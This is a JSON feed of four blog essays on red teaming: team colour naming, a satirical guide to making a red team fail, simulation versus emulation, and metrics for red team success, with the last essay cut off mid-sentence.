{
    "version": "https://jsonfeed.org/version/1.1",
    "title": "Red Team  dade",
    "description": "  Red Team  dade",
    "home_page_url": "https://0xda.de/",
    "feed_url": "https://0xda.de/tags/red-team/index.json",
    "language": "en",
    "authors": [
        {
            "name": "0xdade",
            "url": "https://0xda.de",
            "avatar": "https://0xda.de/img/dade-transparent-logo.png"
        }
    ],
    "items": [
        {
            "title": "Red vs Blue",
            "date_published": "2025-06-02T13:47:30-07:00",
            "date_modified": "2026-05-15T10:43:35-07:00",
            "id": "https://0xda.de/garden/red-vs-blue/",
            "url": "https://0xda.de/garden/red-vs-blue/",
            "content_html": "\u003cp\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n    \n    \n    \n    \n    \n    \n    \n    \n  \u003cpicture\u003e\n    \u003csource srcset=\"/garden/red-vs-blue/cover_hu_d3d2c6a7ecead912.webp\" type=\"image/webp\" /\u003e\n  \u003cimg class=\"img\" src=\"/garden/red-vs-blue/cover.c7887c2decfbd45d654db26e9c148c2b.png\" alt=\"Spy vs Spy but Red vs Blue\" loading=\"lazy\" height=\"720\" width=\"1280\" /\u003e\n\u003c/picture\u003e\n\u003c/p\u003e\n\u003cp\u003eOver the last decade, I\u0026rsquo;ve seen the industry embrace red teaming, with more and more organizations employing red teams to help augment their security function. While I don\u0026rsquo;t love that so much of the industry still appears to be hung up on red teaming basically being \u0026ldquo;a more advanced penetration test\u0026rdquo;, I am happy to see more and more organizations taking this proactive step to evaluate and improve their security.\u003c/p\u003e\n\u003cp\u003eWith the rise of the red team in cybersecurity, we also became more and more familiar with the term \u0026ldquo;blue team.\u0026rdquo; In the context of cybersecurity, this term is typically reserved for folks who serve the incident response function. If the red team breaks into the organization, surely the blue team is the specific people responsible for responding to the break in, right? Well\u0026hellip; I\u0026rsquo;m not so sure.\u003c/p\u003e\n\u003cp\u003ePerhaps the most motivating factor for this piece, though, is the rise (at least in online thought leader think pieces) in calling other teams by other colors. The orange team. The purple team. The yellow team. \u003ca href=\"https://cyberinsight.co/what-are-the-color-teams-in-cyber-security/\"\u003eEtc\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"color-teams-as-a-temporary-function\"\u003eColor teams as a temporary function\u003c/h2\u003e\n\u003cp\u003eThe red team and blue team are, in my opinion, only meant to be short-term names during the course of an exercise that necessitates a red team and a blue team. When not actively engaged in an exercise, even people who professionally red team are still employed by the company to help improve the organization.\u003c/p\u003e\n\u003cp\u003eAdditionally, there may be people who engage in red team activities in a part-time capacity for the course of an exercise, such as volunteers or subject matter experts. We don\u0026rsquo;t say \u0026ldquo;The red team plus Bob\u0026rdquo; when talking about the adversary in this exercise - it\u0026rsquo;s just \u0026ldquo;The red team.\u0026rdquo; Similarly, I think it\u0026rsquo;s incorrect to say \u0026ldquo;The blue team plus Alice.\u0026rdquo; It\u0026rsquo;s just \u0026ldquo;the blue team.\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eImportantly, at the end of the exercise, the \u0026ldquo;Red vs Blue\u0026rdquo; line in the sand gets wiped away, and we\u0026rsquo;re all back to being employees of an organization that we\u0026rsquo;re trying to improve. Until the next exercise starts, we\u0026rsquo;re all just trying to improve the security of the organization. This is also, in my opinion, why the need for a \u0026ldquo;purple\u0026rdquo; team is misguided. You don\u0026rsquo;t need a purple team, you need a red team function that remembers that their job is to help improve the blue team functions.\u003c/p\u003e\n\u003ch2 id=\"blue-team--incident-response\"\u003eBlue Team != Incident Response\u003c/h2\u003e\n\u003cp\u003eI think the catalyst of starting to name teams by colors is undoubtedly blamed by the understanding of the red team and blue team roles. While I think the red team role is commonly understood to be \u0026ldquo;pretending to be the adversary,\u0026rdquo; I think the blue team role has been unfairly and incorrectly narrowed.\u003c/p\u003e\n\u003cp\u003eIn the origins of the Red vs Blue paradigm, the red team served as the adversary, and the \u0026ldquo;blue team\u0026rdquo; inherently meant \u0026ldquo;\u003cspan class=\"sidenote\"\u003e\n    \u003clabel class=\"sidenote-label\" for=\"sidenote-0\"\u003ethe rest of the organization.\u003c/label\u003e\n    \u003cinput class=\"sidenote-checkbox\" type=\"checkbox\" id=\"sidenote-0\"\u003e\u003c/input\u003e\n    \u003cspan class=\"sidenote-content sidenote-right\"\u003e\n    More specifically, the red team was the adversary - the Soviet Union, and the blue team was \"the United States.\" If you're interested in more about the history of this term, I cannot recommend \u003ca href=\"https://www.amazon.com/Red-Team-Succeed-Thinking-Enemy/dp/1501274899\"\u003eRed Team: How to Succeed By Thinking Like The Enemy\u003c/a\u003e enough.\n    \u003c/span\u003e\n\u003c/span\u003e\n\u0026rdquo; I think this is actually good, because I haven\u0026rsquo;t taken a single security awareness training in my entire career that didn\u0026rsquo;t tell me I was part of the first line of defense for the company.\u003c/p\u003e\n\u003cp\u003eI think the more accurate representation of blue team should be \u0026ldquo;anyone not currently actively engaged in a red team campaign against the organization.\u0026rdquo; But short of that, it should \u003cem\u003edefinitely\u003c/em\u003e not just be a synonym for \u0026ldquo;incident response.\u0026rdquo; Incident response already has a name, incident response. Digital forensics has a name. Security architecture has a name. Security engineering has a name. Application security has a name. Infrastructure security has a name.\u003c/p\u003e\n\u003cp\u003eBlue team is just meant to be an aggregate term for the receiving end of a red team exercise.\u003c/p\u003e\n\u003ch2 id=\"red-team--offensive-security\"\u003eRed Team != Offensive Security\u003c/h2\u003e\n\u003cp\u003eA similar issue with the \u0026ldquo;color team\u0026rdquo; naming convention is that a number of organizations and security leaders appear to believe that \u0026ldquo;red team\u0026rdquo; is a general term for all offensive security work. Blue = defense, so red = offense.\u003c/p\u003e\n\u003cp\u003eRed teaming may fall within an organization\u0026rsquo;s offensive security function, but offensive security also tends to include things like penetration testing, deep security research to find 0day vulnerabilities, and maybe even control validation functions. It\u0026rsquo;s sort of like that thing where all squares are rectangles but not all rectangles are squares.\u003c/p\u003e\n\u003cp\u003eExcept not all red teams are even \u0026ldquo;offensive security.\u0026rdquo; There\u0026rsquo;s also alternative analysis red teaming, bringing the skills of contrarian thinking to everyday business decisions, roadmaps, business intelligence, etc.\u003c/p\u003e\n\u003ch2 id=\"should-we-retire-red-vs-blue\"\u003eShould we retire Red vs Blue?\u003c/h2\u003e\n\u003cp\u003eWhile I personally still find value in the notion of \u0026ldquo;red team\u0026rdquo; and \u0026ldquo;blue team\u0026rdquo; at a high level, I think the broader industry has shown that it may be taking these notions too literally and treating them as actual teams in the org chart.\u003c/p\u003e\n\u003cp\u003eHaving full time staff engaged in adversarial work is good, but maybe they don\u0026rsquo;t need to be called \u0026ldquo;red team\u0026rdquo; in the org chart. Perhaps more descriptively they could be called \u0026ldquo;Adversary \u003ca href=\"https://0xda.de/garden/simulation-vs-emulation/\"\u003eEmulation\u003c/a\u003e.\u0026rdquo; Or maybe they do fulfill a broader red team role, engaging in alternative analysis, some sort of attack modeling, and tabletop exercises. In which case maybe they should stay labeled red team.\u003c/p\u003e\n\u003cp\u003eBut I think definitely there isn\u0026rsquo;t really a good reason to have a \u0026ldquo;blue team\u0026rdquo; in the org chart. There are much more descriptive names for each function, and teams naturally tend to fall into those function boundaries anyways.\u003c/p\u003e\n\u003ch2 id=\"what-about-every-other-color\"\u003eWhat about every other color?\u003c/h2\u003e\n\u003cp\u003eWith the notion that \u0026ldquo;red team\u0026rdquo; means \u0026ldquo;those actively playing the role of the adversary\u0026rdquo; and \u0026ldquo;blue team\u0026rdquo; meaning \u0026ldquo;everyone in the organization that is not currently on the red team,\u0026rdquo; I think there leaves no room for any other color. I think adding more colors is generally counterproductive, as it results in less-descriptive names for job functions.\u003c/p\u003e\n\u003cp\u003eI thought the Red vs Blue distinction was obvious, but the proliferation of other colors seems to suggest otherwise, and ultimately I think clear and descriptive naming is more effective for everyone. As someone who has had to explain \u0026ldquo;what does a red team do\u0026rdquo; hundreds of times, I can assure you all I ever wanted was a more descriptive name \u0026ndash; not a less descriptive name.\u003c/p\u003e\n\u003cp\u003eIf I have to give up the \u0026ldquo;red team\u0026rdquo; name in order to reduce the industry tendency to start ascribing other colors to other functions that are already well-named, that is a trade I would happily make.\u003c/p\u003e\n"
        },
        {
            "title": "How to Guarantee Your Red Team Will Fail",
            "date_published": "2025-05-19T10:37:10-07:00",
            "date_modified": "2026-05-15T10:43:35-07:00",
            "id": "https://0xda.de/garden/guarantee-red-team-failure/",
            "url": "https://0xda.de/garden/guarantee-red-team-failure/",
            "content_html": "\u003cp\u003eI can\u0026rsquo;t sit here and pretend to have the experience necessary to give prescriptive advice on how to build and run a successful Red Team function at your organization. While I\u0026rsquo;ve been an early hire for two red team functions at two different organizations, it has not yet been my responsibility to ensure the success of the function. However, being involved early, I was able to see first hand multiple things that threatened the function. Additionally, I\u0026rsquo;ve been involved in the broader red teaming community for close to 10 years; I\u0026rsquo;ve seen many organizations grow their teams and I\u0026rsquo;ve seen their struggles.\u003c/p\u003e\n\u003cp\u003eRather than give advice on how to run a successful red team, I want to take the late Charlie Munger\u0026rsquo;s advice, who in turn took the advice from noted mathematician Carl Jacobi \u0026ndash; \u0026ldquo;invert, always invert.\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eI cannot guarantee that you will run a successful team, but I can absolutely give you advice on how to fail. Should you choose to heed my advice, your red team will surely fail in stellar fashion.\u003c/p\u003e\n\u003ch2 id=\"indoctrinate-indoctrinate-indoctrinate\"\u003eIndoctrinate, Indoctrinate, Indoctrinate\u003c/h2\u003e\n\u003cp\u003eAt it\u0026rsquo;s core, a red team exists to challenge the assumptions of the organization they are operating in. In order to maximize your chance of failure, you will want to make sure that your team is completely indoctrinated into the organization. It\u0026rsquo;s vital that they think like every other employee and attempt to approach every problem the same way anyone else in the organization would.\u003c/p\u003e\n\u003cp\u003eA red team that maintains fresh perspectives and approaches problems in novel, outside-the-box ways will struggle to fail as effectively as a team that successfully gets indoctrinated into their organization.\u003c/p\u003e\n\u003ch2 id=\"measure-success-via-velocity\"\u003eMeasure Success via Velocity\u003c/h2\u003e\n\u003cp\u003eI can\u0026rsquo;t think of a better way to discuss effectively failing than to discuss how to measure success. Measuring success as a red team is notoriously difficult; this makes it a great opportunity to guarantee you\u0026rsquo;ll fail. Among the measurements available, measuring success via the velocity of engagements is a wonderful way to create perverse incentives that will help you to minimize impact.\u003c/p\u003e\n\u003cp\u003eBy focusing on how many red team engagements you can complete in a quarter, or in a year, you can focus on completing them quickly. By focusing on completing engagements quickly, you can make sure your team doesn\u0026rsquo;t have time to find anything interesting. It won\u0026rsquo;t work, but it\u0026rsquo;ll be fast.\u003c/p\u003e\n\u003ch2 id=\"measure-success-via-number-of-vulnerabilities-found\"\u003eMeasure Success via Number of Vulnerabilities Found\u003c/h2\u003e\n\u003cp\u003eAn incredible way to ensure the failure of your red team is to measure their success via the number of vulnerabilities found. Treat the team as an additional penetration testing resource, focus on how many vulnerabilities they find. This approach can help you fail in two ways, which makes it super effective.\u003c/p\u003e\n\u003cp\u003eIn the first way, your team can respond to the outward pressures of vulnerability count by focusing on identifying and reporting the highest number of vulnerabilities, without regard for impact to the organization. They will produce a remarkable number of vulnerabilities and exceed the quarterly metrics, time and time again. This will incentivize them towards the wrong behaviors, guaranteeing that they will fail as a red team.\u003c/p\u003e\n\u003cp\u003eIn the second way, your team can ignore the outward pressure of vulnerability count and instead focus on telling high impact security stories, looking for disconnects between the realities of the organization and the mental models people hold about the organization. You will find high impact security weaknesses, but you will absolutely fail your quarterly metrics. Your message will be undercut by your consistently weak quarterly success metrics, and other teams will wonder why they should listen to you if you can\u0026rsquo;t even deliver on your own metrics.\u003c/p\u003e\n\u003ch2 id=\"frequently-interrupt\"\u003eFrequently Interrupt\u003c/h2\u003e\n\u003cp\u003eYour team has developed quite a reputation over its lifetime for being very strong technical experts that can operate in uncertainty and deliver results. Your leadership has noticed, and they are excited to have such a strong team of experts that they can tap about whatever project fancies them. That tweet they saw about the latest vulnerability. The report they read about North Korean spies. Anything that fancies them, they can tap your excellent team to investigate.\u003c/p\u003e\n\u003cp\u003eYou will curry favor with leadership, which may be helpful at times. You will also catastrophically fail to deliver on your team\u0026rsquo;s mission. Your engagements will be interrupted. Your timelines will slip. The context switching necessary to support this sort of \u0026ldquo;paratrooper\u0026rdquo; approach to security work will erode your team\u0026rsquo;s ability to deliver high impact work, and you will instead be relegated to the cyber equivalent of a bucket brigade, waiting around for the next fire to line up outside of.\u003c/p\u003e\n\u003ch2 id=\"develop-an-adversarial-relationship-with-legal\"\u003eDevelop an adversarial relationship with Legal\u003c/h2\u003e\n\u003cp\u003eReal adversaries wouldn\u0026rsquo;t seek legal cover, so why should you? You have the technical expertise to perform any operation and ensure success. Your team is held to the utmost ethical standard, you simply won\u0026rsquo;t look at the data you don\u0026rsquo;t need. Except to find out if you need it. But that\u0026rsquo;s different, right?\u003c/p\u003e\n\u003cp\u003eDevelop and maintain an adversarial relationship with your legal department to help guarantee your failure. They are just lawyers, they couldn\u0026rsquo;t possibly understand the details of your next operation anyways. Keep them in the dark for as long as possible, and when they are brought into the light, admit nothing, deny everything, and make counter accusations. If you spend most of your time fighting with legal, you will become a huge liability for your organization and may well be promoted to customer in the near future.\u003c/p\u003e\n\u003ch2 id=\"develop-an-adversarial-relationship-with-incident-response\"\u003eDevelop an adversarial relationship with Incident Response\u003c/h2\u003e\n\u003cp\u003eIn a similar spirit, developing and maintaining an adversarial relationship with your incident response team will help maximize the chances of your team\u0026rsquo;s failure. Throw those findings over the wall. Forego any thought of how your actions as an attacker could show up for defenders. Again, admit nothing, deny everything, and make counter accusations. Schedule and complete your engagements with such speed that it will barrage incident response with work. Trigger those on-calls, get them working long nights and weekends. Tell yourself its just helping make sure they are well practiced. So long as your team maintains a hostile relationship with incident response, your chances of failure remain high.\u003c/p\u003e\n\u003ch2 id=\"emphasize-technical-superiority\"\u003eEmphasize technical superiority\u003c/h2\u003e\n\u003cp\u003eIf you\u0026rsquo;d like your red team to fail to deliver value and impact to the organization, emphasize the development and maintenance of technical superiority among the team. Focus on it while hiring, and focus on it throughout the year in the form of professional development. Cast aside those silly notions of using that skill which is appropriate; achieve and assert dominance through your sheer technical superiority, and watch how your team shall fail.\u003c/p\u003e\n\u003ch2 id=\"prioritize-checklists\"\u003ePrioritize Checklists\u003c/h2\u003e\n\u003cp\u003eThe nature of red teaming flourishes when the practitioner is given room to think creatively and laterally. To ensure you do not allow a chance for this type of thinking to take place, take great care to heavily structure the workload of your red team. Should every engagement be operated from the same checklist, you can guarantee that the checklist will be checked very thoroughly, while everything else will remain under-examined.\u003c/p\u003e\n"
        },
        {
            "title": "Simulation vs. Emulation",
            "date_published": "2025-05-03T11:45:42-07:00",
            "date_modified": "2026-05-15T10:43:35-07:00",
            "id": "https://0xda.de/garden/simulation-vs-emulation/",
            "url": "https://0xda.de/garden/simulation-vs-emulation/",
            "content_html": "\u003cp\u003eI\u0026rsquo;ve been involved in the world of offensive security for quite a while now, and there are some topics of discussion that are recurring that I think tend to generate a lot of conversation while achieving very little. One such discussion is on the difference between simulation and emulation, which I saw crop up again recently on LinkedIn (but unfortunately do not have a link for).\u003c/p\u003e\n\u003cp\u003eWe could make arguments that they are distinct things with distinct different meanings, but the whole reason the argument is needed is because they are not sufficiently distinct words. They are so similar in meaning that it\u0026rsquo;s impractical to make a distinction, but nevertheless we try.\u003c/p\u003e\n\u003cp\u003eNow, I\u0026rsquo;m no etymologist, so I will probably oversimplify things here. But let\u0026rsquo;s take a look at their etymology, from Merriam Webster.\u003c/p\u003e\n\u003ch2 id=\"simulation\"\u003eSimulation\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eLatin \u003cem\u003esimulātiōn-, simulātiō\u003c/em\u003e \u0026ldquo;act of copying, putting on an appearance, pretense,\u0026rdquo; from \u003cem\u003esimulāre, similāre\u003c/em\u003e \u0026ldquo;to pretend, assume the appearance of by one\u0026rsquo;s conduct, produce a fraudulent imitation of, imitate\u0026rdquo;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eOkay so simulation means we copy something, or we imitate it. We could probably read into this origin a few different ways, but I feel like they all come back to one thing: imitation.\u003c/p\u003e\n\u003ch2 id=\"emulation\"\u003eEmulation\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eLatin \u003cem\u003eaemulātiōn-, aemulātiō,\u003c/em\u003e from \u003cem\u003eaemulārī\u003c/em\u003e \u0026ldquo;to vie with, rival, imitate\u0026rdquo;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eAnd emulation means we\u0026hellip; imitate something. Well, this is awkward.\u003c/p\u003e\n\u003ch2 id=\"one-theory-of-difference\"\u003eOne theory of difference\u003c/h2\u003e\n\u003cp\u003eTo better understand \u003cspan class=\"sidenote\"\u003e\n    \u003clabel class=\"sidenote-label\" for=\"sidenote-0\"\u003ethe difference between how simulation and emulation are often used in the world of offensive security\u003c/label\u003e\n    \u003cinput class=\"sidenote-checkbox\" type=\"checkbox\" id=\"sidenote-0\"\u003e\u003c/input\u003e\n    \u003cspan class=\"sidenote-content sidenote-right\"\u003e\n    The irony of this is that I guarantee some people have the exact opposite idea for the difference between these two, further reinforcing my point\n    \u003c/span\u003e\n\u003c/span\u003e\n, it can help to explore some different red team operations and what their objectives may look like.\u003c/p\u003e\n\u003cp\u003eExample 1: \u0026ldquo;We want to understand what kind of damage could be done if an unauthorized actor gained access to our internal knowledge management systems.\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eIn this example, we are engaged in a \u003cem\u003esimulated\u003c/em\u003e attack with a particular objective in mind. It does not necessarily detail the tools to use, the timeline to follow, or even a motivation \u0026ndash; the objective is to perform exploratory work to understand the implications of a compromise of a particular system. The ultimate simplification of this type of engagement is \u0026ldquo;What if\u0026hellip;?\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eExample 2: \u0026ldquo;Other organizations in our industry are being targeted by the Lazarus Group and we would like to understand how our organization would fare if we were targeted.\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eIn this example, we are engaged in an \u003cem\u003eemulated\u003c/em\u003e attack. We have a specific threat actor we are replicating in order to help our organization practice their response and make sure their controls are solid. That threat actor has specific tactics, techniques, and procedures that they have been observed using, and they have specific motivations and desired outcomes. If we were to perform the same level of extreme simplification to this type of engagement, it would boil down to \u0026ldquo;What if X did Y?\u0026rdquo;\u003c/p\u003e\n\u003ch2 id=\"does-it-matter\"\u003eDoes it matter?\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eNo, not really.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eRed team engagements can be fluid and hard to define. One engagement may purely be to exercise existing security controls, another may be to spend 9 months infiltrating the organization to steal sensitive information, another yet may be a table top exercise with stakeholders in order to help identify weaknesses in processes and systems. While there are clear delineations between these three types of exercises used as examples, I don\u0026rsquo;t think there\u0026rsquo;s significant value in trying to split the middle example into two different types.\u003c/p\u003e\n\u003cp\u003eArguing the distinction between simulation and emulation is a form of \u003ca href=\"https://en.wikipedia.org/wiki/Law_of_triviality\"\u003ebike-shedding\u003c/a\u003e. At no point does the organization get value from time spent determining whether to call something a simulation or an emulation. In fact, some value may be lost while trying to explain to everyone else your nuanced view of the differences between your \u0026ldquo;Attack Simulation\u0026rdquo; offering and your \u0026ldquo;Adversary Emulation\u0026rdquo; offering.\u003c/p\u003e\n\u003cp\u003eRather than focusing on what to call it, focus on clarifying the question that the organization is seeking to answer. Whether you are simulating or emulating is irrelevant, and what actually matters will be uncovered during the discovery phase of engagement planning.\u003c/p\u003e\n\u003cp\u003eIf you absolutely need to give it a name, consider a more generic option such as \u0026ldquo;Attack \u003cspan class=\"sidenote\"\u003e\n    \u003clabel class=\"sidenote-label\" for=\"sidenote-1\"\u003eModeling\u003c/label\u003e\n    \u003cinput class=\"sidenote-checkbox\" type=\"checkbox\" id=\"sidenote-1\"\u003e\u003c/input\u003e\n    \u003cspan class=\"sidenote-content sidenote-right\"\u003e\n    Hilariously, Merriam-Webster also includes \"imitation\" in one of the definitions for model. We'll never escape imitation.\n    \u003c/span\u003e\n\u003c/span\u003e\n\u0026rdquo; - which makes it clear that it is a model of an attack, and models can inherently have varying levels of detail. You can have a super generic model of an attack, and you can have a super detailed model of an attack. Either way, you\u0026rsquo;re still modeling the attack.\u003c/p\u003e\n"
        },
        {
            "title": "The Purpose Driven Red Team",
            "date_published": "2021-04-11T14:05:05-07:00",
            "date_modified": "2025-03-18T21:01:53-07:00",
            "id": "https://0xda.de/blog/2021/04/the-purpose-driven-red-team/",
            "url": "https://0xda.de/blog/2021/04/the-purpose-driven-red-team/",
            "content_html": "\u003cp\u003eA topic of refrain in the red team community, particularly in the internal red team community of which I am a part, is that of red team success. What makes a red team successful? How do we signal that success to leadership? What metrics should we be producing?\u003c/p\u003e\n\u003cp\u003eWhether you\u0026rsquo;re on a red team, you work closely with one, or you\u0026rsquo;ve ever read a red team report, think about the last time you saw a report that didn\u0026rsquo;t have any interesting findings. When was the last time the red team \u003cem\u003edidn\u0026rsquo;t\u003c/em\u003e \u0026ldquo;win\u0026rdquo;?\u003c/p\u003e\n\u003cp\u003eRed team got to their objective? That\u0026rsquo;s a win.\u003c/p\u003e\n\u003cp\u003eRed team got detected in the first day and didn\u0026rsquo;t reach their objective? That\u0026rsquo;s also a win.\u003c/p\u003e\n\u003cp\u003eIt seems like the only way to not win as a red team is to not play the game. If you get your objective, you have a detailed attack path to share with the organization and can make a series of recommendations around risk mitigation and methods to further harden that particular attack path. That\u0026rsquo;s a win for the organization. If you don\u0026rsquo;t get to your objective, then you\u0026rsquo;ve successfully demonstrated the detection and response capabilities of your organization and shown what is working well. That\u0026rsquo;s also a win for the organization.\u003c/p\u003e\n\u003cp\u003eI am reminded of a school yard trick, where someone wants to solve a problem by the flip of a coin and then says \u0026ldquo;Heads I win, tails you lose.\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eSo how, then, does the red team determine their success?\u003c/p\u003e\n\u003ch2 id=\"metrics-as-signals\"\u003eMetrics as Signals\u003c/h2\u003e\n\u003cp\u003eBefore we talk about specific approaches towards measuring our success and their corresponding pros and cons, it\u0026rsquo;s important to understand what a metric is and what it isn\u0026rsquo;t. At it\u0026rsquo;s most basic, we should consider the metrics we produce to be a signal to ourselves and our management about whether or not we are successful.\u003c/p\u003e\n\u003cp\u003eNote the order I used there, as I believe it to be important. \u0026ldquo;\u003cem\u003esignal to ourselves and our management\u003c/em\u003e.\u0026rdquo; If we produce metrics of any sort purely because management requested it of us, it won\u0026rsquo;t take long for us to realize that management has no idea what they want from us and they are just taking wild guesses as much as we are. Our managers are told \u0026ldquo;You need to show us metrics about the improvement and/or impact of your team.\u0026rdquo; So our managers, who are often not involved in the daily experiences of the team, come up with a few things they know they can measure based on our previous work. Number of engagements we completed. Number of bugs we found. Average time it took to complete our objective.\u003c/p\u003e\n\u003cp\u003eIf our management gives us a set of metrics they want us to produce, then what they are telling us is that these particular things are what we need to be considered successful. Even if they tell us that\u0026rsquo;s not the case, they will report the numbers up, and that\u0026rsquo;s when they no longer get to control the assumed context of the metric. Management-provided metric requirements signal to the team what the organization considers important.\u003c/p\u003e\n\u003cp\u003eMaybe you and your team are comfortable with these numbers being your metrics. Maybe you\u0026rsquo;re able to assign meaning to these numbers that you all agree says \u0026ldquo;Yup we are successful because our number of engagements went up.\u0026rdquo; Meanwhile, you allow yourself to ignore that the size, scope, and impact of your engagements may have gone down as a result.\u003c/p\u003e\n\u003cp\u003eAre these the types of things that you want to be your signals of success? Remember that if they are your success signals, they are also your failure signals. If the number going up means you\u0026rsquo;re successful, then the number going down means you\u0026rsquo;re unsuccessful.\u003c/p\u003e\n\u003cp\u003eIf you look introspectively at your team and have conversations to determine what the team feels makes them successful or unsuccessful, can you turn those thoughts into data you can capture? Can you take these new signals to your management and say \u0026ldquo;These are the things that we believe are important to our team\u0026rsquo;s success\u0026rdquo;? Instead of relying on management to signal to you what the organization thinks is important, you can signal to management, and in turn to the organization, about what you think is important about your job. Is there anyone more qualified to determine what is important about your work than you?\u003c/p\u003e\n\u003ch3 id=\"the-quantitative-metric\"\u003eThe Quantitative Metric\u003c/h3\u003e\n\u003cp\u003eI recently left a red team role at a very large organization. That organization, like many others, developed an obsession with ensuring that every team was delivering quantitative metrics to show their value, to signal their successes. Number of bugs found this quarter. Number of engagements completed. Number of new detections written. Number of detections exercised. Number of this, Number of that. I \u003cem\u003ehate\u003c/em\u003e \u003cem\u003ehate\u003c/em\u003e \u003cem\u003ehate\u003c/em\u003e \u0026ldquo;Number of\u0026rdquo; metrics as applied to the security domain. This pervasive belief by engineers and management alike that the only way to show value is by \u0026ldquo;objective\u0026rdquo; metrics that measure some quantity of something done.\u003c/p\u003e\n\u003cp\u003eLet\u0026rsquo;s take \u0026ldquo;Number of bugs found this quarter\u0026rdquo; as an example metric to explore. Before reading on, consider what this metric signals to you. A team tells you that the number of bugs they found is up 18% quarter-over-quarter. Wow, much bug very hacker wow.\u003c/p\u003e\n\u003cp\u003eYou know what that number doesn\u0026rsquo;t tell us? Did the team find more bugs because they got better at finding bugs, or did they find more bugs because the organization created more bugs that quarter? Did the organization create more bugs that quarter because the organization is rapidly growing? Did the team find more bugs because they are rapidly growing? Is the number of bugs found quarter-over-quarter a positive signal that the security team is doing well, or a negative signal that the developers are writing more bugs?\u003c/p\u003e\n\u003cp\u003eIt\u0026rsquo;s probably a mix of both, and simply saying \u0026ldquo;18% more bugs quarter-over-quarter\u0026rdquo; lacks any meaningful level of context. It signals good things or bad things, entirely dependent on who reads it and what their state of mind is at the time they read it.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNumbers lie.\u003c/strong\u003e That doesn\u0026rsquo;t mean numbers can\u0026rsquo;t be useful. But it means that reporting numbers without context and without intention is likely not doing you or your management any favors. Consider the following context that can be added to our example metric above.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAverage number of bugs found \u003cstrong\u003eper\u003c/strong\u003e service assessed\u003c/li\u003e\n\u003cli\u003eNumber of services assessed \u003cstrong\u003evs\u003c/strong\u003e number of services released\u003c/li\u003e\n\u003cli\u003eAverage number of bugs found \u003cstrong\u003eyear-over-year in a particular service\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eWhat these additions do is provide just enough context to the numbers that it becomes more clear which direction these metrics should be trending to be considered successful. We want average number of bugs per service to go down. We want number of services assessed vs number of services released to go up. We want bugs in a particular service to be going down year-over-year (or whatever your chosen measurement period is). It doesn\u0026rsquo;t matter if we\u0026rsquo;re in the security organization or in the development organization, these metrics have a clear intent that we can agree on.\u003c/p\u003e\n\u003cp\u003eBut these are also all terrible for measuring red team success. Red teams aren\u0026rsquo;t compliance functions, they exist outside of the SDLC, they aren\u0026rsquo;t likely to hit every service in an organization every year, maybe even never.\u003c/p\u003e\n\u003ch3 id=\"the-time-based-metric\"\u003eThe Time-based Metric\u003c/h3\u003e\n\u003cp\u003eAnother common set of metrics that are discussed in the security domain are \u0026ldquo;Time-to-\u0026lt;blank\u0026gt;\u0026rdquo; metrics. Time to detect. Time to respond. Time to remediate. I even previously wrote about applying \u003ca href=\"/blog/2020/11/mtbf-as-a-security-metric/\"\u003eMTBF\u003c/a\u003e to the security domain. These are also great on the surface, but carry with them certain inherent dangers.\u003c/p\u003e\n\u003cp\u003eTime-based metrics for defensive teams are great. Obviously we want our time to detect an intrusion to go down. Obviously we want our time to remediate a problem to go down. \u003cem\u003eObviously\u003c/em\u003e. But as soon as the success of the team is gauged based on these time based metrics, it creates a perverse incentive for the defenders to take shortcuts in order to keep the time down. Of course teams will be guided to not do this, but I think it\u0026rsquo;s pretty normal for people to want to optimize for the things they know they will be graded on. We\u0026rsquo;ve had it baked into us our whole lives, ever since elementary school.\u003c/p\u003e\n\u003cp\u003eTime-based metrics for offensive teams are challenging. Not only because offensive teams want their organization to get stronger, and therefore win whether they get to their objective faster or slower than previously, but also because the very broad nature of the offensive team means that they will often be taking varied routes to their objective. If a team runs 12 engagements in a year, you could have 12 wildly different time-to-objective metrics, not trending in any particular direction. This is particularly true in larger organizations where the attack surface is probably growing significantly faster than your team can conduct engagements. If the time to objective goes up, does it mean that the security got better or just that we picked a bad route on the attack graph?\u003c/p\u003e\n\u003cp\u003eAdding context to time-based metrics is much harder, I think. And since I think that context is vital for any good metric, I don\u0026rsquo;t know that I would recommend time-based metrics for offensive teams looking for ways to signal their success. Do you have ways to contextualize time-based metrics, reduce the perverse incentives, or otherwise make time-based metrics more valuable? \u003ca href=\"https://twitter.com/0xdade\"\u003eLet\u0026rsquo;s chat!\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"the-qualitative-metric\"\u003eThe Qualitative Metric\u003c/h3\u003e\n\u003cp\u003eThere I was, day dreaming of tables and charts and graphs and such, when I began to see stars. No, I didn\u0026rsquo;t trip and fall face first into a telescope. Instead, I had just ordered food for delivery and the app was reminding me to rate the quality of my food and my delivery. The proverbial light bulb in my head started flickering on, slowly illuminating the piles of TPS reports that surrounded me. I still don\u0026rsquo;t know what a TPS report is, I think to myself.\u003c/p\u003e\n\u003cp\u003eBusinesses very routinely rely on qualitative metrics to indicate success. What\u0026rsquo;s our rating on yelp? What\u0026rsquo;s the rating of our latest product on Amazon? What are the results of our latest quarterly email blast asking customers for a little more of their time and subtly reminding them to give us a little more of their money? These are numbers, and businesses love numbers, but they reflect subjectivity. They reflect the emotions and the opinions of the customers. They reflect the experiences of the people that are most important to your business \u0026ndash; your customers.\u003c/p\u003e\n\u003cp\u003eBusinesses even routinely rely on qualitative metrics from employees in order to determine who gets raises, who gets promoted, who gets put on improvement plans, etc. We are asked to provide our subjective feedback about working with those around us, and that feedback is accumulated, aggregated, and turned into that 1.8% cost of living adjustment you got this year.\u003c/p\u003e\n\u003cp\u003eSo why does security obsess over quantitative metrics? Well, I think when you hire engineers to solve 